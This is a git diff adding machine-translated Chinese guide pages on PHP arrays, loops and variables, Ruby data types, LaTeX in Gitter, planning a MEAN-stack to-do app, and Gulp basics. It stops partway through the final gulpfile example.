diff --git a/client/src/guide/chinese/miscellaneous/learn-about-php-array/index.md b/client/src/guide/chinese/miscellaneous/learn-about-php-array/index.md
new file mode 100644
index 0000000000..2e830d5d4a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-php-array/index.md
@@ -0,0 +1,36 @@
+---
+title: Learn About Php Array
+localeTitle: 了解Php阵列
+---
+# PHP数组
+```
+Array Can Store multiple values in single Varible. 
+ let's think that you have a list of cars like ( 'BMW', 'Honda', Swift, 'XUV' ) 
+ 
+ but you want to separate this by categories like sport car, xuv. 
+ but you need to put it in a single varible then you need two arrays 
+ 
+ ## Let's Solve this By Programming 
+ 
+   <?php 
+          $sport_cars = array('BMW', 'Honda'); 
+          $xuv_cars = array('Swift', 'XUV'); 
+          echo "Sport Cars List: " . $sport_cars[0] . ", " . $sport_cars[1] . "."; 
+          echo "XUV Cars List: " . $xuv_cars[0] . ", " . $xuv_cars[1] . "."; 
+    ?> 
+ 
+ Output: 
+    Sport Cars List: BMW, Honda. 
+    XUV Cars List: Swift, XUV. 
+```
+
+注意：数组是从0到n的索引，您可以通过传递来访问每个值  
+索引号到变量如下
+```
+echo $sport_cars[0]; 
+ 
+ output: 
+    BMW 
+```
+
+就像那样你可以访问数组中的元素
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-php-loops/index.md b/client/src/guide/chinese/miscellaneous/learn-about-php-loops/index.md
new file mode 100644
index 0000000000..bc45acb08f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-php-loops/index.md
@@ -0,0 +1,117 @@
+---
+title: Learn About Php Loops
+localeTitle: 了解Php循环
+---
+循环是执行指定次数的代码块。使用循环减少了代码行数。
+
+PHP适用于4种不同类型的循环：
+
+*   循环
+*   做... while循环
+*   对于循环
+*   Foreach循环
+
+## 循环
+
+只要指定的条件为真， `while`循环就会继续执行。
+
+\`PHP  
+```
+Example: 
+ ```php 
+ <?php 
+  $x = 1; 
+   while($x <= 3) 
+   { 
+     echo "x=$x "; 
+     $x++; 
+   } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 
+ ``` 
+ 
+ ## Do...while loop 
+ 
+ In the `do...while` loop the block of code is executed before the condition is checked. 
+ 
+  ```php 
+ <?php 
+     do { 
+       execute code; 
+     } while (condition); 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+ $x= 1; 
+     do { 
+       echo "x=$x "; 
+       $x++; 
+     } while ($x < 5); 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 x=4 
+ ``` 
+ 
+ ## For loop 
+ 
+ The `for` loop is used when the number of times the block is to be executed is known in advance. 
+ 
+  ```php 
+ <?php 
+     for (variable initialisation; test condition; increment) 
+     { 
+       execute code; 
+     } 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+    for ($x=1 ; $x <= 4 ; $x++) 
+    { 
+      echo "x= $x "; 
+    } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 x=4 
+ ``` 
+ 
+ ## Foreach loop 
+ 
+ The `foreach` loop helps in traversing through arrays. 
+ 
+  ```php 
+ <?php 
+    foreach ($array as $value) 
+    { 
+      executable code; 
+    } 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+ $numbers= array("One", "Two", "Three"); 
+   foreach ($numbers as $value) 
+   { 
+     echo "$value "; 
+   } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ One Two Three 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-php-variables/index.md b/client/src/guide/chinese/miscellaneous/learn-about-php-variables/index.md
new file mode 100644
index 0000000000..fc65a26245
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-php-variables/index.md
@@ -0,0 +1,163 @@
+---
+title: Learn About Php Variables
+localeTitle: 了解Php变量
+---
+变量是用于存储数据的容器，例如`strings` ， `integers` ， `boolean`值， `array`和对象。
+
+PHP遵循某些变量声明规则，例如：
+
+*   变量必须以美元符号（$）开头
+
+例：
+
+`php <?php $var = 5; ?>`
+
+*   变量名称可以包含字符，如AZ，az，0-9，\_和[ASCII](http://www.asciitable.com/ "ASCII Table")字符127-255。
+
+例：
+
+`php <?php $var = 5; //Valid $var_1 = "Foo"; //Valid $_var2 = 'Bar'; //Valid $var.3 = 'Baz'; //Invalid ?>`
+
+*   变量名称可以以下划线（\_）开头。
+
+例：
+
+`php <?php $_var2 = 'Bar'; //Valid ?>`
+
+*   变量名称不能以数字0-9开头。
+
+例：
+
+`php <?php $9var3 = 'Baz'; //Invalid ?>`
+
+*   变量名称区分大小写。
+
+例：
+```
+<?php 
+    $var = 5; //Valid 
+    $VAR = "Foo"; //Valid 
+    echo $var; //Output 5 
+    echo "<br>"; 
+    echo $VAR; //Output Foo 
+ ?> 
+```
+
+PHP是一种松散类型的语言，因此在声明变量时我们不需要声明变量的数据类型。与Java或C.不同
+```
+<?php 
+    $var = 5; 
+    $var2 = 4; 
+    $sum = $var+$var2; 
+    echo $sum; //Output 9 
+    echo "<br>"; 
+    echo $var+$var2; //Output 9 
+ ?> 
+```
+
+也可以通过引用来分配变量。这允许两个变量引用相同的内容。 `&`运算符放在要引用的变量之前。
+
+示例：
+```
+<?php 
+    $var1 = "foo"; 
+    $var2 = "bar"; 
+ 
+ myTest($var1, $var2); 
+ 
+ echo $var1; //Output foo 
+ echo $var2; //Output BAR 
+ 
+ function myTest($var1, &$var2){ 
+    $var1 = "FOO"; 
+    $var2 = "BAR"; 
+ } 
+ ?> 
+```
+
+要动态设置变量名，我们使用变量变量。当需要创建多个变量时，这可能特别有用。
+
+示例：
+```
+<?php 
+ 
+    $var = 'Tom'; 
+    echo $var;      //Output Tom 
+    $$var = 'Cat'; //The value of $$var is the value of $var. So $$var and $Tom give the same output. 
+    echo $$var;   //Output Cat 
+    echo $Tom;   //Output Cat 
+ ?> 
+```
+
+# 可变范围
+
+变量的范围是指变量可访问的位置。
+
+*   全局范围用于在函数外声明的变量。这些变量可以从任何地方访问，但不能在函数内访问。
+*   本地范围是在函数内声明的变量，无法从函数外部的任何位置访问。
+
+例：
+```
+<?php 
+   $global = "Hello"; 
+ 
+  function Test(){ 
+   $local = "World"; 
+   echo $global; //Error 
+   echo $local; //Output World 
+  } 
+ 
+   Test(); 
+   echo $global; //Output Hello 
+   echo $local; //Error 
+ ?> 
+```
+
+要访问函数内的全局变量：
+```
+<?php 
+   $global = "Hello"; 
+ 
+ function Test(){ 
+   global $global; 
+   $local = "World"; 
+   echo $global; //Output Hello 
+   echo $local; //Output World 
+  } 
+ 
+   Test(); 
+   echo $global; //Output Hello 
+   echo $local; //Error 
+ ?> 
+```
+
+# 静态变量
+
+每次创建函数时，都会删除其所有局部变量。为了保留变量的最后一个值，我们将其声明为`static` 。
+
+示例：
+```
+<?php 
+ 
+ function WithStatic(){ 
+   static $var = 0; 
+   echo $var; 
+   $var++; 
+  } 
+ 
+   WithStatic(); //Output 0 
+   WithStatic(); //Output 1 
+   WithStatic(); //Output 2 
+ 
+ function WithoutStatic(){ 
+   $var = 0; 
+   echo $var; 
+   $var++; 
+  } 
+ 
+   WithoutStatic(); //Output 0 
+   WithoutStatic(); //Output 0 
+   WithoutStatic(); //Output 0 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-ruby-arrays/index.md b/client/src/guide/chinese/miscellaneous/learn-about-ruby-arrays/index.md
new file mode 100644
index 0000000000..1142ad850d
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-ruby-arrays/index.md
@@ -0,0 +1,28 @@
+---
+title: Learn About Ruby Arrays
+localeTitle: 了解Ruby数组
+---
+### 基本：
+
+*   数组是存储在`<a href='http://ruby-doc.org/core-2.2.0/Array.html' target='_blank' rel='nofollow'>]`括号内的索引项列表。
+*   Ruby使用从零开始的索引。这意味着数组中的第一项存储在索引号`0` ，然后第二项存储在索引号`1` ，依此类推，对于存储在数组中的每个附加项，值增加1。
+*   可以使用`[]`或`Array.new`语法创建数组。
+*   Ruby有许多构建方法来对数组执行操作，例如反转或查找存储在数组中的元素。
+
+## 例子：
+```
+arr = [1,2,3] 
+ # is equivalent to: 
+ arr = Array.new(3) 
+ arr[0] = 1 
+ arr[1] = 2 
+ arr[2] = 3 
+ # is also equivalent to: 
+ arr = Array(1..3) 
+ # All three of these examples return: 
+ [1,2,3] 
+```
+
+## 参考文献：
+
+*   [数组的官方Ruby文档](https://docs.ruby-lang.org/en/2.0.0/Array.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-ruby-hashes/index.md b/client/src/guide/chinese/miscellaneous/learn-about-ruby-hashes/index.md
new file mode 100644
index 0000000000..847f40749c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-ruby-hashes/index.md
@@ -0,0 +1,33 @@
+---
+title: Learn About Ruby Hashes
+localeTitle: 了解Ruby Hashes
+---
+### 基本：
+
+*   Ruby散列与Python等语言中的Javascript对象或词典相当。
+*   散列包含`key: value`对存储的项目。
+*   可以使用以下方法创建Ruby哈希：
+    *   `my_hash = {}`
+    *   `my_hash = Hash.new`
+*   Ruby中内置了许多方法来查找和更新哈希值。
+
+## 例子：
+```
+my_hash = {'name' => 'Batman', 'age' => 25} 
+ # is equivalent to: 
+ my_hash = Hash.new 
+ my_hash<a href='http://www.randomhacks.net/2007/01/20/13-ways-of-looking-at-a-ruby-symbol/' target='_blank' rel='nofollow'>'name'] = 'Batman' 
+ my_hash['age'] = 25 
+ # Both of these examples return: 
+ {"name"=>"Batman", "age"=>25} 
+ 
+ # here is an alternative way to create the array: 
+ {name: 'Batman', age: 25} 
+ # this example return: 
+ {:name=>"Batman", :age=>25} 
+ # learn more about [symbols here</a> 
+```
+
+## 参考文献：
+
+*   [哈希的官方Ruby文档](http://ruby-doc.org/core-2.2.0/Hash.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-ruby-numbers/index.md b/client/src/guide/chinese/miscellaneous/learn-about-ruby-numbers/index.md
new file mode 100644
index 0000000000..ef1c0bfdf9
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-ruby-numbers/index.md
@@ -0,0 +1,34 @@
+---
+title: Learn About Ruby Numbers
+localeTitle: 了解Ruby Numbers
+---
+### 基本：
+
+*   Ruby有两类数字 - 整数和浮点数（也称为浮点数）。
+*   整数是可以是正数或负数的整数，但不能是分数。
+*   根据它们的大小，整数可以具有`Fixnum`或`Bignum`类。
+*   浮点数是带小数位的数字。
+
+## 例子：
+```
+x = 5.5 
+ x.class 
+ # returns 
+ Float 
+ 
+ x = 5 
+ x.class 
+ # returns 
+ Fixnum 
+ 
+ x = 11122233344455566677 
+ x.class 
+ # returns 
+ Bignum # basically, Bignum is a very large number 
+ # <a href='http://ruby-doc.org/core-2.0.0/Bignum.html' target='_blank' rel='nofollow'>read this article for more info</a> 
+```
+
+## 参考文献：
+
+*   [整数的官方Ruby文档](http://ruby-doc.org/core-2.2.0/Integer.html) 。
+*   [浮动的官方Ruby文档](http://ruby-doc.org/core-2.2.0/Float.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-ruby-strings/index.md b/client/src/guide/chinese/miscellaneous/learn-about-ruby-strings/index.md
new file mode 100644
index 0000000000..36ca3d1be2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-ruby-strings/index.md
@@ -0,0 +1,44 @@
+---
+title: Learn About Ruby Strings
+localeTitle: 了解Ruby字符串
+---
+### 基本：
+
+*   字符串是引号之间串联的一系列字符。
+    
+*   单引号或双引号可用于在Ruby中创建字符串。
+    
+*   Ruby对使用双引号创建的字符串进行了一些额外的评估，例如：
+    
+    *   转义字符： `\n` ， `\t` ， `\s`
+        
+    *   在里面使用变量和表达式： `#{variable or expression}`
+        
+*   带单引号的字符串按原样呈现，没有任何特殊注意事项。
+    
+
+## 例子：
+```
+"Hello World" 
+ # is equivalent to: 
+ 'Hello World' 
+ 
+ "This is line 1.\nAnd this is line 2." 
+ # returns: 
+ This is line 1. 
+ And this is line 2. 
+ 
+ name = "Batman" 
+ "Hello, my name is #{name}!" 
+ # returns: 
+ Hello, my name is Batman! 
+ 
+ # Note that for single quotes, ruby doesn't take special consideration for variables or backslashes: 
+ 'This is your name:\n#{name}' 
+ # returns: 
+ This is your name:\n#{name} 
+```
+
+## 参考文献：
+
+*   [字符串的官方Ruby文档](http://ruby-doc.org/core-2.2.0/String.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-the-latex-language/index.md b/client/src/guide/chinese/miscellaneous/learn-about-the-latex-language/index.md
new file mode 100644
index 0000000000..620249400b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-the-latex-language/index.md
@@ -0,0 +1,47 @@
+---
+title: Learn About the Latex Language
+localeTitle: 了解乳胶语言
+---
+LaTeX（发音为LAH-tekh或LAY-tekh）专为生产技术和科学文档而设计。您可以使用此排版系统轻松创建矩阵，数组和其他数学函数。用户可以使用代码而不是图形用户界面（GUI）格式化其文档。
+
+`$$ (latex language) $$`
+
+您可以在GitterIM中嵌入Latex。例子：
+
+## 排列
+```
+$$\begin{array} {cc} 
+ arr11 & arr12\\ 
+ arr21 & arr22\\ 
+ \end{array}$$ 
+```
+
+## 矩阵
+```
+$$\begin{pmatrix} 1 & 0 \\ 0 & 1 \end{pmatrix}$$ 
+```
+
+## 格式化
+```
+$$\huge\textstyle\color{#F00}{BigRed}\small\textstyle\color{#0F0}{SmallGreen}$$ 
+```
+
+[功能支持](https://github.com/Khan/KaTeX/wiki/Function-Support-in-KaTeX)
+
+## 细节
+
+[KaTeX Github Repo](https://github.com/Khan/KaTeX) LaTeX是一种高品质的排版系统;它包括为生产技术和科学文档而设计的功能。 LaTeX是科学文献交流和出版的事实标准。他的优点在书籍，论文或论文等长文档中都很明显。
+
+Gitter使用Katex（LaTeX的自定义实现），可以使用它来介绍以下代码：
+```
+$$\begin{array} {cc} 
+ item11 & item12\ 
+ item21 & item 22\ 
+ \end{array} 
+ $$ 
+```
+
+文本：
+
+*   `$$\huge\textstyle{some text}$$` - > $$ \\ huge \\ textstyle {some text} $$
+*   `$$\color{#F90}{some text}$$` - > $$ \\ color {＃F90} {some text} $$
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-how-to-plan-your-future-project/index.md b/client/src/guide/chinese/miscellaneous/learn-how-to-plan-your-future-project/index.md
new file mode 100644
index 0000000000..5af9585487
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-how-to-plan-your-future-project/index.md
@@ -0,0 +1,130 @@
+---
+title: Learn How to Plan Your Future Project
+localeTitle: 学习如何规划未来的项目
+---
+一盎司的准备值得一磅治疗。这在医学上是正确的，这在软件开发中肯定是正确的。
+
+这是一个结构化的10步工作流程，将指导您完成应用规划流程，目的是避免编写大量不必要的代码。
+
+我们将共同制定一个简单的“待办事项”单页网络应用程序。我们还计划为未来的移动应用程序提供API后端。
+
+## 1）创建我们的Trello板
+
+[Trello](https://trello.com/)是一种有趣，免费的方式，可以将您的计划和开发过程分解为可以跟踪的小任务。
+
+![Trello板的图像](https://lh3.googleusercontent.com/EI4AQ4NINm3B2DHR_YIS29JyKVa5dTPiT3RtITylmndFlpshTHepsKuO8_1KQNfdPDSBjslDReHCuPFeH1GNrDtgOwTyq6ZtGf3DFBmq1AsAhPHKt_0pLXQLf0o4ZbDuKVj4-Bo)
+
+[这就是我们的Trello板最终会是什么样子](https://trello.com/b/O9MZcYyY/todo-app) 。我更喜欢将我的任务分成3列（取决于项目的复杂性）：
+
+*   待办事项 - 剩下要做的事情
+*   正在进行 - 人们正在进行的任务
+*   完成 - 完成并准备好进行测试的任务
+
+## 2）编写用户故事
+
+以下是一些示例用户故事。这些将指导我们如何思考应用程序的特性和功能。请注意，它们都遵循类似的结构：作为一个[人，我可以\[做某事\]。](https://lh5.googleusercontent.com/2v6iIMbCrLSKVfqttEToum7OA3YGQCBKWUHcSCB1KEbEcijXxQtKJKY6fhLXeecJiO27P4icOuPlkVc9_uNXolzlzNXOo_TPh09GZsAqRH-JISqPrpx0PZdtbHOr0RIuQUbTbaw)
+
+*   作为登录用户，我可以看到我的待办事项列表。
+*   作为登录用户，我可以添加新的待办事项。
+*   作为登录用户，我可以删除待办事项（仅限我的待办事项 - 而不是其他用户）。
+*   作为登录用户，我可以完成待办事项（只有我的待办事项 - 而不是其他用户）。
+*   作为匿名用户，我可以注册新帐户，恢复密码或使用现有帐户登录应用程序。
+
+## 3）创建我们的用例模型
+
+我们的用例模型将帮助我们可视化我们的用户故事，以便我们更好地了解如何实现它们。
+
+！\[匿名用户案例图
+
+![经过身份验证的用户案例图](https://lh6.googleusercontent.com/3V6dVvAcyjqFkaOukimucYOX0CfwBBYNN9SvjmnVy40Pdhs4Wtrr34i3E-9pbV7tFsp4jHm77IFQvFupjq6OWyxqEgCzcQ995Ayh52Msczu6TfwKeNhL9PYHyxSgmPYA1TR6l6Q)
+
+## 4）创建我们的活动图
+
+我们的活动图将显示用户可以通过我们的应用程序采取的不同路径。
+
+![活动图图片](https://lh6.googleusercontent.com/jAQL4myqWOPA3gk2iTpGyAQBrO6p1GlPe8BQQ1Se6a-Di40X3Zw1p0wfJewZUL-YyDmedYzX5Lxvo2GW2Qnr6I-6kuKe1sDb9_5F_n46cKoawWReWW_ZoZCIJO6Semc4fvsiuHc)
+
+用户访问我们的待办事项应用程序。
+
+*   如果用户未登录，她将看到我们的登录页面。
+    
+*   如果她已有帐户，则可以登录。
+    
+*   如果她有帐户，但忘记了密码，她可以恢复密码。
+    
+*   如果她没有帐户，她可以创建一个帐户。
+    
+*   “创建帐户”和“恢复密码”都需要电子邮件验证。用户只有在确认了自己的电子邮件地址后才能登录我们的应用程序。
+    
+*   如果她已登录，她将看到她的待办事项列表（如果她尚未添加任何待办事项，则可以为空）。
+    
+*   登录用户：
+    
+    *   能够看到她的任务列表
+        
+    *   能够将列表中的任务标记为已完成
+        
+    *   能够在她的任务列表中搜索
+        
+    *   能够从她的列表中删除任务
+        
+    *   可以退出。
+        
+*   用户可以随时退出应用程序。
+    
+
+## 5）创建我们的模型
+
+我们的模型显示了我们的应用程序应该是什么样子。迭代一个模型比在工作代码上这样做要快得多。
+
+![样机图片](https://lh3.googleusercontent.com/GBFhmBkfr-xM5YSXlR0Fm9y8b24ivdRlUtRWQOHJ8skNxEgjTkAef0e5nZ-CcHKNUq2p4V4hgDuAm9LSEuvbovlVborH1ZioAUXVlEblWZ4hN_d2tGEpxhfTkKH9os2JS1pab4w)
+
+## 6）为我们的项目选择合适的技术
+
+因为这是一个单页面应用程序，我们将严重依赖 - 或者在这种情况下专门 - 依赖于JavaScript。让我们使用最流行的JavaScript堆栈之一：MEAN堆栈。 MEAN堆栈的一大好处是它的所有组件都是免费和开源的。还有大量资源可用于学习MEAN堆栈，并在您不可避免地遇到错误时进行调试。
+
+您可以在不到一小时的时间[内在](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects)云端启动并运行[MEAN堆栈开发环境](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) ，免费。
+
+以下是我们将使用的组件：
+
+1.  [MongoDB](http://mongodb.org/)用于我们的数据库
+2.  [Node.js](http://nodejs.org/)和[Express.js](http://expressjs.com/)用于实现我们的API
+3.  [AngularJS](http://angularjs.org/) ，以及用于客户端应用程序的HTML和CSS（以及Bootstrap）
+4.  [Mongoose](http://mongoosejs.com/)将我们的应用程序连接到MongoDB
+
+## 7）设计我们的数据库模式
+
+即使对于我们的简单应用程序，设计数据库模式也是值得的。
+
+我们将有两个集合：我们的“用户”集合将存储我们的用户数据，而我们的“ToDo”集合将容纳我们需要完成的任务。一个用户可以在她的待办事项列表中拥有零个，一个或多个任务，因此我们的两个集合之间将存在一对多（1：m）的关系。
+
+![数据库架构图](https://lh6.googleusercontent.com/5uSb_xnSSc5CWXJD0yyUGVJsL92RRZl3Bex_3wjuzl5Xr69Ks0j3od-yFju24SAd5wWMBNy9uqBrvOzdrUWluOkbcr4H5zFg-ZemJX3ZRWS12D42OowuvWnxA7wWIGrhhzaQ0aw)
+
+## 8）定义我们的用例
+
+1.  与删除帐户的用户相关的待办事项会发生什么？当用户删除她的帐户时，还应删除与该用户相关的待办事项。
+2.  如果没有附加到确认的用户，则无法添加任何待办事项。
+3.  待办事项只能由其所有者删除。
+4.  没有用户可以添加空用户名或密码。
+5.  没有待办事项可以添加空任务。
+
+要记住的事情：
+
+1.  当用户删除她的帐户时，使用Mongoose中间件删除依赖文档，例如待办事项。
+2.  在模型上使用Mongoose验证规则以防止将空字段添加到我们的数据库中。
+
+## 9）设计和测试我们的API
+
+我使用了一个名为Apiary的免费产品[来记录我们的API](http://docs.fcctodoapp.apiary.io/) 。
+
+这是我用来[创建这个简单的BluePrint](https://jsapi.apiary.io/apis/fcctodoapp.apib)的语法。
+
+我建议你创建一个帐户并开始玩它。如果您将[GitHub](http://github.com/)帐户与Apiary链接，您可以确保您的文档始终保持最新。您还可以直观地测试数据，而无需实际访问API端点。如果您更喜欢从命令行测试API，下面[是一个如何执行此操作的示例](http://docs.agendor.apiary.io/) 。
+
+之后，一旦您使用Node.js和Express.js实现了API，您只需要在Apiary中设置您的URL。然后你就可以开始测试你的电话了。我们当前的主机网址（ [http://fcctodoapp.apiblueprint.org/](http://fcctodoapp.apiblueprint.org/) ）将替换为您的API网址。
+
+![应用演示图片](https://lh6.googleusercontent.com/hU3ilG_y9FqtL_zajQ_KOjWy8Qx590Go8nkNvA1j0oR50YJTpjJhL1lAPgjyeLTAS06tq6V62EcJrLQyT_TR2BK49DYiX6kksU6s9cqJDvvaS6jvepIM6uiO4JMbXuu-oXhdsas)
+
+## 10）开始编写代码！
+
+这是有趣的部分，它将占用您项目的大部分时间。如果您需要帮助，请加入我们并学习编码。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-some-gulp-basics/index.md b/client/src/guide/chinese/miscellaneous/learn-some-gulp-basics/index.md
new file mode 100644
index 0000000000..b9ca4ece3e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-some-gulp-basics/index.md
@@ -0,0 +1,173 @@
+---
+title: Learn Some Gulp Basics
+localeTitle: 学习一些Gulp基础知识
+---
+Gulp可以做**很多事情** 。这只是基础知识的概述。一旦你理解了这一点，那么你可以自己添加更多给Gulp。我使用的不同软件包的文档非常好，我们在FreeCodeCamp上也有一个很好的社区，随时可以帮助完成任何项目。
+
+![Gulp标志](https://raw.githubusercontent.com/gulpjs/artwork/master/gulp.png)
+
+## 什么是Gulp？
+
+Gulp是一个JavaScript构建/任务运行器。你在使用Jade，但需要HTML吗？ Sass，但需要CSS吗？ CoffeeScript，但需要JavaScript吗？或者您可能只想连接和/或缩小已有的内容？ Gulp可以轻松地为您完成所有这些工作，因此您不必在每次变化后都回到终端。
+
+## 为什么要用Gulp？
+
+我们在FreeCodeCamp上使用了很多CodePen。 CodePen允许使用预处理器而无需执行任何其他操作。如果使用预处理器，则可以查看已编译的版本。它看起来很不一样。你可以在CodePen上的React中创建一个项目，选择Babel作为JavaScript预处理器，一切都会起作用。如果你在本地做同样的项目而不处理所有事情，那么你就不会得到你所期望的。这是Gulp进来的地方。
+
+## 我如何使用Gulp？
+
+同样，这只是基础知识的概述。概述将是将Sass处理为CSS，连接和缩小样式表和脚本，以及实现Gulp手表。在执行任何操作之前，您需要在计算机上安装Node和NPM。您很可能已经拥有此功能，但在终端中输入`node -v`和`npm -v`进行检查。
+
+*   切换到项目目录并在终端中运行`npm init` 。
+    
+    *   这将在工作目录中创建`package.json`文件。
+        
+    *   这也是在终端中运行`touch .gitignore`并将`node_modules/`添加到文件的好时机，因此您不会将所有这些包推送到GitHub。
+        
+*   在终端中运行`npm install --save-dev gulp gulp-concat gulp-minify-css gulp-rename gulp-sass gulp-uglify` 。这可能需要几分钟才能完成。
+    
+    *   这是安装6个不同的`node_modules` 。您可以查看`package.json`文件并查看`devDependencies`下列出的所有这些文件以及`node_modules`文件夹，并查看您安装的每个软件包。
+        
+    *   `gulp-concat`用于连接样式表和脚本， `gulp-minify-css`用于缩小CSS， `gulp-rename`用于重命名文件， `gulp-sass`用于Sass到CSS， `gulp-uglify`用于缩小JS。
+        
+*   在终端中运行`touch gulpfile.js` 。
+    
+    *   你现在准备开始了。
+*   您将需要需要保存的所有文件。你在`gulpfile.js`这样做。
+    
+
+```javascript
+    'use strict'; 
+ 
+    var gulp = require('gulp'); 
+    var concat = require('gulp-concat'); 
+    var minifyCss = require('gulp-minify-css'); 
+    var rename = require('gulp-rename'); 
+    var sass = require('gulp-sass'); 
+    var uglify = require('gulp-uglify'); 
+```
+
+*   我们需要从某个地方开始，所以Sass首先要使用CSS吗？这里我们将把Sass处理成CSS，缩小CSS并重命名文件。
+    
+    *   任务的名称`sass` （稍后会详细介绍）。
+        
+    *   在当前目录中，我们要查找名为`assets`的文件夹，然后是名为`scss`的文件夹，然后是名为`main.scss`的文件。
+        
+    *   我们正在处理Sass到CSS并在发生错误时进行记录。
+        
+    *   然后缩小CSS。这只是摆脱所有额外的线条和空间。计算机不需要那些读取文件，它大大减少了文件大小。
+        
+    *   由于文件现在已缩小，因此将其重命名为`.min.css` 。
+        
+    *   最后一步是将`main.min.css`文件保存在某处，它将在当前目录中进入名为`public`的文件夹，然后是名为`css`的文件夹。
+        
+
+```javascript
+    gulp.task('sass', function() { 
+        return gulp.src('./assets/scss/main.scss') 
+        .pipe(sass().on('error', sass.logError)) 
+        .pipe(minifyCss({compatibility: 'ie8'})) 
+        .pipe(rename('main.min.css')) 
+        .pipe(gulp.dest('./public/css')); 
+    }); 
+```
+
+*   现在我们可以更多地了解Gulp并尝试连接和缩小所有脚本文件。如果你现在只有一个脚本怎么办，所以你没有连接的东西呢？也许摆脱一些你拥有的CDN并制作脚本。但是你会得到更多有多个脚本的项目。
+    
+    *   请注意，我没有介绍源地图。我认为这是在这个基本概述之后的下一步，所以一旦你理解了你在这里做了什么就看看。
+        
+    *   当前任务名为`concatScripts`和`minifyScripts` 。
+        
+    *   这与`sass`基本结构相同。所有文件都添加到`gulp.src` ，但我们首先必须保存该连接文件，然后才能缩小它。
+        
+    *   JavaScript缩小称为`uglify` 。
+        
+    *   你在`minifyScripts`之后注意到了`['concatScripts]`吗？这意味着每次我们尝试运行`minifyScripts`时， `concatScripts`都会首先运行。
+        
+
+```javascript
+    gulp.task('concatScripts', function() { 
+        return gulp.src([ 
+            './assets/js/script-1.js', 
+            './assets/js/script-2.js', 
+            './assets/js/script-3.js' 
+        ]) 
+        .pipe(concat('app.js')) 
+        .pipe(gulp.dest('./assets/js')); 
+    }); 
+ 
+    gulp.task('minifyScripts', ['concatScripts'], function() { 
+        return gulp.src('assets/js/app.js') 
+        .pipe(uglify()) 
+        .pipe(rename('app.min.js')) 
+        .pipe(gulp.dest('public/app/js')); 
+    }); 
+```
+
+*   您现在可以转到终端并输入`gulp minifyScripts` `gulp sass`和/或`gulp minifyScripts` 。这将运行每一个，但我们希望让我们更容易。我们将进行默认构建，因此我们可以直接输入`gulp`到终端。我们还将添加`gulp watch` ，因此每当您保存手表中列出的文件时，它将运行您告诉它运行的内容。
+    
+    *   我们做了一个名为`build`的任务。这与`minifyScripts`非常相似，因为它中有一个数组。每当我们在终端中输入`gulp build` ，它将运行`sass`和`minifyScripts` （实际上首先运行`concatScripts` ）。
+        
+    *   我们还做了一项名为`watch`的任务。这是节省时间的任务。在终端你运行`gulp watch` 。 Gulp将在终端上保持打开状态，因此您可能希望在另一个选项卡中运行它。每当一个文件被更新，并保存在`scss`文件夹用`.scss`扩展`sass`任务将会运行。对于扩展名为`.js`的`js`文件夹中的文件也是如此，但是`concatScripts`和`minifyScripts`将会运行。
+        
+    *   最后一项任务是`default` 。您可以在终端中运行`gulp` ，它将运行`default`任务。这里的`default`任务是调用`build`任务，它只运行我们在页面上的所有任务。
+        
+
+```javascript
+    gulp.task('build', ['sass', 'minifyScripts']); 
+ 
+    gulp.task('watch', function() { 
+        gulp.watch('./assets/scss/**/*.scss', ['sass']); 
+        gulp.watch('./assets/js/**/*.js', ['minifyScripts']); 
+    }); 
+ 
+    gulp.task('default', ['build']); 
+```
+
+这是你的最终`gulpfile.js`文件应该是这样的：
+
+```javascript
+    'use strict'; 
+ 
+    var gulp = require('gulp'); 
+    var concat = require('gulp-concat'); 
+    var minifyCss = require('gulp-minify-css'); 
+    var rename = require('gulp-rename'); 
+    var sass = require('gulp-sass'); 
+    var uglify = require('gulp-uglify'); 
+ 
+    gulp.task('sass', function() { 
+        return gulp.src('./assets/scss/main.scss') 
+        .pipe(sass().on('error', sass.logError)) 
+        .pipe(minifyCss({compatibility: 'ie8'})) 
+        .pipe(rename('main.min.css')) 
+        .pipe(gulp.dest('./public/css')); 
+    }); 
+ 
+    gulp.task('concatScripts', function() { 
+        return gulp.src([ 
+            './assets/js/script-1.js', 
+            './assets/js/script-2.js', 
+            './assets/js/script-3.js' 
+        ]) 
+        .pipe(concat('app.js')) 
+        .pipe(gulp.dest('./assets/js')); 
+    }); 
+ 
+    gulp.task('minifyScripts', ['concatScripts'], function() { 
+        return gulp.src('assets/js/app.js') 
+        .pipe(uglify()) 
+        .pipe(rename('app.min.js')) 
+        .pipe(gulp.dest('public/app/js')); 
+    }); 
+ 
+    gulp.task('build', ['sass', 'minifyScripts']); 
+ 
+    gulp.task('watch', function() { 
+        gulp.watch('./assets/scss/**/*.scss', ['sass']); 
